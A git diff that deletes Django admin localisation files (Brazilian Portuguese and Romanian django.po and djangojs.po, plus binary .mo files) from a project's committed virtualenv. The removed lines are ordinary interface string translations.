-msgstr "Hora:" - -msgid "Lookup" -msgstr "Procurar" - -msgid "Currently:" -msgstr "Atualmente:" - -msgid "Change:" -msgstr "Alterar:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.mo deleted file mode 100644 index e8fe18a5..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.po deleted file mode 100644 index 10e5080e..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,333 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Allisson Azevedo , 2014 -# andrewsmedina , 2016 -# Eduardo Cereto Carvalho, 2011 -# Eduardo Felipe Castegnaro , 2024 -# Gabriel da Mota , 2023 -# fa9e10542e458baef0599ae856e43651_13d2225, 2012 -# Jannis Leidel , 2011 -# Jonas Rodrigues, 2023 -# Lucas Infante , 2015 -# Marssal Jr. , 2022 -# Rafael Fontenelle , 2021 -# Renata Barbosa Almeida , 2016 -# Samuel Nogueira Bacelar , 2020 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2024-05-22 11:46-0300\n" -"PO-Revision-Date: 2024-08-07 07:59+0000\n" -"Last-Translator: Eduardo Felipe Castegnaro , 2024\n" -"Language-Team: Portuguese (Brazil) (http://app.transifex.com/django/django/" -"language/pt_BR/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: pt_BR\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s disponíveis" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Esta é a lista de %s disponíveis. Você pode escolhê-los(as) selecionando-" -"os(as) abaixo e clicando na seta \"Escolher\" entre as duas caixas." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Digite nessa caixa para filtrar a lista de %s disponíveis." - -msgid "Filter" -msgstr "Filtro" - -msgid "Choose all" -msgstr "Escolher todos" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Clique para escolher todos os %s de uma só vez" - -msgid "Choose" -msgstr "Escolher" - -msgid "Remove" -msgstr "Remover" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s escolhido(s)" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Esta é a lista de %s disponíveis. Você pode removê-los(as) selecionando-" -"os(as) abaixo e clicando na seta \"Remover\" entre as duas caixas." - -#, javascript-format -msgid "Type into this box to filter down the list of selected %s." -msgstr "Digite nesta caixa para filtrar a lista de selecionados %s." - -msgid "Remove all" -msgstr "Remover todos" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Clique para remover de uma só vez todos os %s escolhidos." - -#, javascript-format -msgid "%s selected option not visible" -msgid_plural "%s selected options not visible" -msgstr[0] "%s opção selecionada não visível" -msgstr[1] "%s opções selecionadas não visíveis" -msgstr[2] "%s opções selecionadas não visíveis" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s de %(cnt)s selecionado" -msgstr[1] "%(sel)s de %(cnt)s selecionados" -msgstr[2] "%(sel)s de %(cnt)s selecionados" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Você tem alterações não salvas em campos editáveis individuais. Se você " -"executar uma ação suas alterações não salvas serão perdidas." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Você selecionou uma ação, mas você ainda não salvou suas alterações nos " -"campos individuais. Por favor clique OK para salvar. você precisará de rodar " -"novamente a ação." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Você selecionou uma ação sem fazer mudanças nos campos individuais. Você " -"provavelmente está procurando pelo botão Ir ao invés do botão Salvar." - -msgid "Now" -msgstr "Agora" - -msgid "Midnight" -msgstr "Meia-noite" - -msgid "6 a.m." -msgstr "6 da manhã" - -msgid "Noon" -msgstr "Meio-dia" - -msgid "6 p.m." -msgstr "6 da tarde" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "Nota: Você está %s hora à frente do horário do servidor." -msgstr[1] "Nota: Você está %s horas à frente do horário do servidor." -msgstr[2] "Nota: Você está %s horas à frente do horário do servidor." - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "Nota: Você está %s hora atrás do tempo do servidor." -msgstr[1] "Nota: Você está %s horas atrás do horário do servidor." -msgstr[2] "Nota: Você está %s horas atrás do horário do servidor." - -msgid "Choose a Time" -msgstr "Escolha um horário" - -msgid "Choose a time" -msgstr "Escolha uma hora" - -msgid "Cancel" -msgstr "Cancelar" - -msgid "Today" -msgstr "Hoje" - -msgid "Choose a Date" -msgstr "Escolha uma data" - -msgid "Yesterday" -msgstr "Ontem" - -msgid "Tomorrow" -msgstr "Amanhã" - -msgid "January" -msgstr "Janeiro" - -msgid "February" -msgstr "Fevereiro" - -msgid "March" -msgstr "Março" - -msgid "April" -msgstr "Abril" - -msgid "May" -msgstr "Maio" - -msgid "June" -msgstr "Junho" - -msgid "July" -msgstr "Julho" - -msgid "August" -msgstr "Agosto" - -msgid "September" -msgstr "Setembro" - -msgid "October" -msgstr "Outubro" - -msgid "November" -msgstr "Novembro" - -msgid "December" -msgstr "Dezembro" - -msgctxt "abbrev. month January" -msgid "Jan" -msgstr "Jan" - -msgctxt "abbrev. month February" -msgid "Feb" -msgstr "Fev" - -msgctxt "abbrev. month March" -msgid "Mar" -msgstr "Mar" - -msgctxt "abbrev. month April" -msgid "Apr" -msgstr "Abr" - -msgctxt "abbrev. month May" -msgid "May" -msgstr "Mai" - -msgctxt "abbrev. month June" -msgid "Jun" -msgstr "Jun" - -msgctxt "abbrev. month July" -msgid "Jul" -msgstr "Jul" - -msgctxt "abbrev. month August" -msgid "Aug" -msgstr "Ago" - -msgctxt "abbrev. month September" -msgid "Sep" -msgstr "Set" - -msgctxt "abbrev. month October" -msgid "Oct" -msgstr "Out" - -msgctxt "abbrev. month November" -msgid "Nov" -msgstr "Nov" - -msgctxt "abbrev. month December" -msgid "Dec" -msgstr "Dez" - -msgid "Sunday" -msgstr "Domingo" - -msgid "Monday" -msgstr "Segunda-feira" - -msgid "Tuesday" -msgstr "Terça-feira" - -msgid "Wednesday" -msgstr "Quarta-feira" - -msgid "Thursday" -msgstr "Quinta-feira" - -msgid "Friday" -msgstr "Sexta-feira" - -msgid "Saturday" -msgstr "Sábado" - -msgctxt "abbrev. day Sunday" -msgid "Sun" -msgstr "Dom" - -msgctxt "abbrev. day Monday" -msgid "Mon" -msgstr "Seg" - -msgctxt "abbrev. day Tuesday" -msgid "Tue" -msgstr "Ter" - -msgctxt "abbrev. day Wednesday" -msgid "Wed" -msgstr "Qua" - -msgctxt "abbrev. day Thursday" -msgid "Thur" -msgstr "Qui" - -msgctxt "abbrev. day Friday" -msgid "Fri" -msgstr "Sex" - -msgctxt "abbrev. day Saturday" -msgid "Sat" -msgstr "Sáb" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "D" - -msgctxt "one letter Monday" -msgid "M" -msgstr "S" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "T" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "Q" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "Q" - -msgctxt "one letter Friday" -msgid "F" -msgstr "S" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "S" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/django.mo deleted file mode 100644 index b4690acf..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/django.po deleted file mode 100644 index f328477f..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/django.po +++ /dev/null @@ -1,758 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bogdan Mateescu, 2018-2019 -# Daniel Ursache-Dogariu, 2011,2022 -# Denis Darii , 2011,2014 -# Eugenol Man , 2020 -# Ionel Cristian Mărieș , 2012 -# Jannis Leidel , 2011 -# Mihai Fotea , 2020 -# Razvan Stefanescu , 2015-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2023-01-17 02:13-0600\n" -"PO-Revision-Date: 2023-04-25 07:05+0000\n" -"Last-Translator: Daniel Ursache-Dogariu, 2011,2022\n" -"Language-Team: Romanian (http://www.transifex.com/django/django/language/" -"ro/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ro\n" -"Plural-Forms: nplurals=3; plural=(n==1?0:(((n%100>19)||((n%100==0)&&(n!=0)))?" -"2:1));\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Elimină %(verbose_name_plural)s selectate" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "%(count)d %(items)s șterse cu succes." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "Nu se poate șterge %(name)s" - -msgid "Are you sure?" -msgstr "Sigur?" - -msgid "Administration" -msgstr "Administrare" - -msgid "All" -msgstr "Toate" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Nu" - -msgid "Unknown" -msgstr "Necunoscut" - -msgid "Any date" -msgstr "Orice dată" - -msgid "Today" -msgstr "Astăzi" - -msgid "Past 7 days" -msgstr "Ultimele 7 zile" - -msgid "This month" -msgstr "Luna aceasta" - -msgid "This year" -msgstr "Anul acesta" - -msgid "No date" -msgstr "Fără dată" - -msgid "Has date" -msgstr "Are dată" - -msgid "Empty" -msgstr "Gol" - -msgid "Not empty" -msgstr "Nu este gol" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" -"Introduceți vă rog un %(username)s și parola corectă pentru un cont de " -"membru. De remarcat că ambele pot conține majuscule." - -msgid "Action:" -msgstr "Acțiune:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Adăugati încă un/o %(verbose_name)s" - -msgid "Remove" -msgstr "Elimină" - -msgid "Addition" -msgstr "Adăugare" - -msgid "Change" -msgstr "Schimbare" - -msgid "Deletion" -msgstr "Ștergere" - -msgid "action time" -msgstr "timp acțiune" - -msgid "user" -msgstr "utilizator" - -msgid "content type" -msgstr "tip de conținut" - -msgid "object id" -msgstr "id obiect" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/library/functions.html#repr) -msgid "object repr" -msgstr "repr obiect" - -msgid "action flag" -msgstr "marcaj acțiune" - -msgid "change message" -msgstr "mesaj schimbare" - -msgid "log entry" -msgstr "intrare jurnal" - -msgid "log entries" -msgstr "intrări jurnal" - -#, python-format -msgid "Added “%(object)s”." -msgstr "Adăugat %(object)s" - -#, python-format -msgid "Changed “%(object)s” — %(changes)s" -msgstr "Schimbat “%(object)s” — %(changes)s" - -#, python-format -msgid "Deleted “%(object)s.”" -msgstr "Șters “%(object)s.”" - -msgid "LogEntry Object" -msgstr "Obiect LogEntry" - -#, python-brace-format -msgid "Added {name} “{object}”." -msgstr "Adăugat {name} “{object}”." - -msgid "Added." -msgstr "Adăugat." - -msgid "and" -msgstr "și" - -#, python-brace-format -msgid "Changed {fields} for {name} “{object}”." -msgstr "{fields} schimbat pentru {name} “{object}”." - -#, python-brace-format -msgid "Changed {fields}." -msgstr "S-au schimbat {fields}." - -#, python-brace-format -msgid "Deleted {name} “{object}”." -msgstr "Șters {name} “{object}”." - -msgid "No fields changed." -msgstr "Niciun câmp modificat." - -msgid "None" -msgstr "Nimic" - -msgid "Hold down “Control”, or “Command” on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully." -msgstr "{name} \"{obj}\" a fost adăugat cu succes." - -msgid "You may edit it again below." -msgstr "Poți edita din nou mai jos." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was added successfully. You may add another {name} below." -msgstr "" -"{name} \"{obj}\" a fost adăugat cu succes. Poți adăuga alt {name} mai jos." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" a fost modificat cu succes. Poți să editezi în continuare " -"mai jos." - -#, python-brace-format -msgid "The {name} “{obj}” was added successfully. You may edit it again below." -msgstr "" -"{name} \"{obj}\" a fost adăugat cu succes. Poți să editezi în continuare mai " -"jos." - -#, python-brace-format -msgid "" -"The {name} “{obj}” was changed successfully. You may add another {name} " -"below." -msgstr "" -"{name} \"{obj}\" a fost modificat cu succes. Poți adăuga alt {name} mai jos." - -#, python-brace-format -msgid "The {name} “{obj}” was changed successfully." -msgstr "{name} \"{obj}\" a fost schimbat cu succes." - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Itemii trebuie selectați pentru a putea îndeplini sarcini asupra lor. Niciun " -"item nu a fost modificat." - -msgid "No action selected." -msgstr "Nicio acțiune selectată." - -#, python-format -msgid "The %(name)s “%(obj)s” was deleted successfully." -msgstr "" - -#, python-format -msgid "%(name)s with ID “%(key)s” doesn’t exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Adaugă %s" - -#, python-format -msgid "Change %s" -msgstr "Schimbă %s" - -#, python-format -msgid "View %s" -msgstr "Vizualizează %s" - -msgid "Database error" -msgstr "Eroare de bază de date" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "%(count)s %(name)s s-a modificat cu succes." -msgstr[1] "%(count)s %(name)s s-au modificat cu succes." -msgstr[2] "%(count)s de %(name)s s-au modificat cu succes." - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "%(total_count)s selectat(ă)" -msgstr[1] "Toate %(total_count)s selectate" -msgstr[2] "Toate %(total_count)s selectate" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 din %(cnt)s selectat" - -#, python-format -msgid "Change history: %s" -msgstr "Istoric schimbări: %s" - -#. Translators: Model verbose name and instance -#. representation, suitable to be an item in a -#. list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "%(class_name)s %(instance)s" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" -"Ștergerea %(class_name)s %(instance)s ar necesita ștergerea următoarelor " -"obiecte asociate protejate: %(related_objects)s" - -msgid "Django site admin" -msgstr "Administrare site Django" - -msgid "Django administration" -msgstr "Administrare Django" - -msgid "Site administration" -msgstr "Administrare site" - -msgid "Log in" -msgstr "Autentificare" - -#, python-format -msgid "%(app)s administration" -msgstr "administrare %(app)s" - -msgid "Page not found" -msgstr "Pagină inexistentă" - -msgid "We’re sorry, but the requested page could not be found." -msgstr "Din păcate nu am găsit pagina solicitată" - -msgid "Home" -msgstr "Acasă" - -msgid "Server error" -msgstr "Eroare de server" - -msgid "Server error (500)" -msgstr "Eroare de server (500)" - -msgid "Server Error (500)" -msgstr "Eroare server (500)" - -msgid "" -"There’s been an error. It’s been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Pornește acțiunea selectată" - -msgid "Go" -msgstr "Start" - -msgid "Click here to select the objects across all pages" -msgstr "Clic aici pentru a selecta obiectele la nivelul tuturor paginilor" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Selectați toate %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Deselectați" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "Modele în aplicația %(name)s" - -msgid "Add" -msgstr "Adaugă" - -msgid "View" -msgstr "Vizualizează" - -msgid "You don’t have permission to view or edit anything." -msgstr "" - -msgid "" -"First, enter a username and password. Then, you’ll be able to edit more user " -"options." -msgstr "" - -msgid "Enter a username and password." -msgstr "Introduceți un nume de utilizator și o parolă." - -msgid "Change password" -msgstr "Schimbă parola" - -msgid "Please correct the error below." -msgid_plural "Please correct the errors below." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "" -"Introduceți o parolă nouă pentru utilizatorul %(username)s." - -msgid "Skip to main content" -msgstr "" - -msgid "Welcome," -msgstr "Bun venit," - -msgid "View site" -msgstr "Vizualizare site" - -msgid "Documentation" -msgstr "Documentație" - -msgid "Log out" -msgstr "Deconectează-te" - -msgid "Breadcrumbs" -msgstr "" - -#, python-format -msgid "Add %(name)s" -msgstr "Adaugă %(name)s" - -msgid "History" -msgstr "Istoric" - -msgid "View on site" -msgstr "Vizualizează pe site" - -msgid "Filter" -msgstr "Filtru" - -msgid "Clear all filters" -msgstr "Șterge toate filtrele" - -msgid "Remove from sorting" -msgstr "Elimină din sortare" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "Prioritate sortare: %(priority_number)s" - -msgid "Toggle sorting" -msgstr "Alternează sortarea" - -msgid "Toggle theme (current theme: auto)" -msgstr "" - -msgid "Toggle theme (current theme: light)" -msgstr "" - -msgid "Toggle theme (current theme: dark)" -msgstr "" - -msgid "Delete" -msgstr "Șterge" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Ștergerea %(object_name)s '%(escaped_object)s' va duce și la ștergerea " -"obiectelor asociate, însă contul dumneavoastră nu are permisiunea de a " -"șterge următoarele tipuri de obiecte:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" -"Ștergerea %(object_name)s '%(escaped_object)s' ar putea necesita și " -"ștergerea următoarelor obiecte protejate asociate:" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Sigur doriți ștergerea %(object_name)s \"%(escaped_object)s\"? Următoarele " -"itemuri asociate vor fi șterse:" - -msgid "Objects" -msgstr "Obiecte" - -msgid "Yes, I’m sure" -msgstr "Da, sunt sigur" - -msgid "No, take me back" -msgstr "Nu, vreau să mă întorc" - -msgid "Delete multiple objects" -msgstr "Ștergeți obiecte multiple" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" -"Ștergerea %(objects_name)s conform selecției ar putea duce la ștergerea " -"obiectelor asociate, însă contul dvs. de utilizator nu are permisiunea de a " -"șterge următoarele tipuri de obiecte:" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" -"Ştergerea %(objects_name)s conform selecției ar necesita și ștergerea " -"următoarelor obiecte protejate asociate:" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" -"Sigur doriţi să ștergeți %(objects_name)s conform selecției? Toate obiectele " -"următoare alături de cele asociate lor vor fi șterse:" - -msgid "Delete?" -msgstr "Elimină?" - -#, python-format -msgid " By %(filter_title)s " -msgstr "După %(filter_title)s " - -msgid "Summary" -msgstr "Sumar" - -msgid "Recent actions" -msgstr "Acțiuni recente" - -msgid "My actions" -msgstr "Acțiunile mele" - -msgid "None available" -msgstr "Niciuna" - -msgid "Unknown content" -msgstr "Conținut necunoscut" - -msgid "" -"Something’s wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" -"Sunteți autentificat ca %(username)s, dar nu sunteți autorizat să accesați " -"această pagină. Doriți să vă autentificați cu un alt cont?" - -msgid "Forgotten your password or username?" -msgstr "Ați uitat parola sau utilizatorul ?" - -msgid "Toggle navigation" -msgstr "Comutare navigație" - -msgid "Sidebar" -msgstr "" - -msgid "Start typing to filter…" -msgstr "Începeți să scrieți pentru filtrare..." - -msgid "Filter navigation items" -msgstr "" - -msgid "Date/time" -msgstr "Dată/oră" - -msgid "User" -msgstr "Utilizator" - -msgid "Action" -msgstr "Acțiune" - -msgid "entry" -msgid_plural "entries" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "" -"This object doesn’t have a change history. It probably wasn’t added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "Arată totul" - -msgid "Save" -msgstr "Salvează" - -msgid "Popup closing…" -msgstr "Fereastra se închide..." - -msgid "Search" -msgstr "Caută" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "%(counter)s rezultat" -msgstr[1] "%(counter)s rezultate" -msgstr[2] "%(counter)s de rezultate" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "%(full_result_count)s în total" - -msgid "Save as new" -msgstr "Salvați ca nou" - -msgid "Save and add another" -msgstr "Salvați și mai adăugați" - -msgid "Save and continue editing" -msgstr "Salvați și continuați editarea" - -msgid "Save and view" -msgstr "Salvează și vizualizează" - -msgid "Close" -msgstr "Închide" - -#, python-format -msgid "Change selected %(model)s" -msgstr "Modifică %(model)s selectat" - -#, python-format -msgid "Add another %(model)s" -msgstr "Adaugă alt %(model)s" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "Șterge %(model)s selectat" - -#, python-format -msgid "View selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the web site today." -msgstr "" - -msgid "Log in again" -msgstr "Reautentificare" - -msgid "Password change" -msgstr "Schimbare parolă" - -msgid "Your password was changed." -msgstr "Parola a fost schimbată." - -msgid "" -"Please enter your old password, for security’s sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Vă rog introduceți parola veche, pentru securitate, apoi introduceți parola " -"nouă de doua ori pentru a verifica dacă a fost scrisă corect. " - -msgid "Change my password" -msgstr "Schimbă-mi parola" - -msgid "Password reset" -msgstr "Resetare parolă" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" -"Parola dumneavoastră a fost stabilită. Acum puteți continua să vă " -"autentificați." - -msgid "Password reset confirmation" -msgstr "Confirmare resetare parolă" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Introduceți parola de două ori, pentru a putea verifica dacă ați scris-o " -"corect." - -msgid "New password:" -msgstr "Parolă nouă:" - -msgid "Confirm password:" -msgstr "Confirmare parolă:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Link-ul de resetare a parolei a fost nevalid, probabil din cauză că acesta a " -"fost deja utilizat. Solicitați o nouă resetare a parolei." - -msgid "" -"We’ve emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" -"Am trimis instrucțiuni pentru a seta parola, daca există un cont cu email-ul " -"introdus. O sa-l primiți cât de curând." - -msgid "" -"If you don’t receive an email, please make sure you’ve entered the address " -"you registered with, and check your spam folder." -msgstr "" -"Dacă nu ați primit un email, verificați vă rog dacă ați introdus adresa cu " -"care v-ați înregistrat și verificați si folderul Spam." - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" -"Primiți acest email deoarece ați cerut o resetare a parolei pentru contul de " -"utilizator de la %(site_name)s." - -msgid "Please go to the following page and choose a new password:" -msgstr "Mergeți la următoarea pagină și alegeți o parolă nouă:" - -msgid "Your username, in case you’ve forgotten:" -msgstr "Numele tău de utilizator, în caz că l-ai uitat:" - -msgid "Thanks for using our site!" -msgstr "Mulțumiri pentru utilizarea sitului nostru!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Echipa %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we’ll email " -"instructions for setting a new one." -msgstr "" -"Ați uitat parola ? Introduceți adresa de email mai jos și vă vom trimite " -"instrucțiuni pentru o parolă nouă." - -msgid "Email address:" -msgstr "Adresă e-mail:" - -msgid "Reset my password" -msgstr "Resetează-mi parola" - -msgid "All dates" -msgstr "Toate datele" - -#, python-format -msgid "Select %s" -msgstr "Selectează %s" - -#, python-format -msgid "Select %s to change" -msgstr "Selectează %s pentru schimbare" - -#, python-format -msgid "Select %s to view" -msgstr "Selecteză %s pentru a vizualiza" - -msgid "Date:" -msgstr "Dată:" - -msgid "Time:" -msgstr "Oră:" - -msgid "Lookup" -msgstr "Căutare" - -msgid "Currently:" -msgstr "În prezent:" - -msgid "Change:" -msgstr "Schimbă:" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 59f694e3..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.po deleted file mode 100644 index e681dde5..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,228 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Bogdan Mateescu, 2018-2019 -# Daniel Ursache-Dogariu, 2011 -# Denis Darii , 2011 -# Eugenol Man , 2020 -# Ionel Cristian Mărieș , 2012 -# Jannis Leidel , 2011 -# razvan ionescu , 2015 -# Razvan Stefanescu , 2016-2017 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2020-05-11 20:56+0200\n" -"PO-Revision-Date: 2020-07-15 11:16+0000\n" -"Last-Translator: Eugenol Man \n" -"Language-Team: Romanian (http://www.transifex.com/django/django/language/" -"ro/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ro\n" -"Plural-Forms: nplurals=3; plural=(n==1?0:(((n%100>19)||((n%100==0)&&(n!=0)))?" -"2:1));\n" - -#, javascript-format -msgid "Available %s" -msgstr "%s disponibil" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" -"Aceasta este o listă cu %s disponibile. Le puteți alege selectând mai multe " -"in chenarul de mai jos și apăsând pe săgeata \"Alege\" dintre cele două " -"chenare." - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "Scrie în acest chenar pentru a filtra lista de %s disponibile." - -msgid "Filter" -msgstr "Filtru" - -msgid "Choose all" -msgstr "Alege toate" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Click pentru a alege toate %s." - -msgid "Choose" -msgstr "Alege" - -msgid "Remove" -msgstr "Elimină" - -#, javascript-format -msgid "Chosen %s" -msgstr "%s alese" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" -"Aceasta este lista de %s alese. Puteți elimina din ele selectându-le in " -"chenarul de mai jos și apasand pe săgeata \"Elimină\" dintre cele două " -"chenare." - -msgid "Remove all" -msgstr "Elimină toate" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Click pentru a elimina toate %s alese." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "%(sel)s din %(cnt)s selectate" -msgstr[1] "%(sel)s din %(cnt)s selectate" -msgstr[2] "de %(sel)s din %(cnt)s selectate" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Aveţi modificări nesalvate în cîmpuri individuale editabile. Dacă executaţi " -"o acțiune, modificările nesalvate vor fi pierdute." - -msgid "" -"You have selected an action, but you haven’t saved your changes to " -"individual fields yet. Please click OK to save. You’ll need to re-run the " -"action." -msgstr "" -"Ai selectat o acțiune dar nu ai salvat modificările făcute în câmpuri " -"individuale. Te rugăm apasa Ok pentru a salva. Va trebui sa reiei acțiunea." - -msgid "" -"You have selected an action, and you haven’t made any changes on individual " -"fields. You’re probably looking for the Go button rather than the Save " -"button." -msgstr "" -"Ai selectat o acțiune și nu ai făcut modificări. Probabil că dorești butonul " -"de Go mai putin cel de Salvează." - 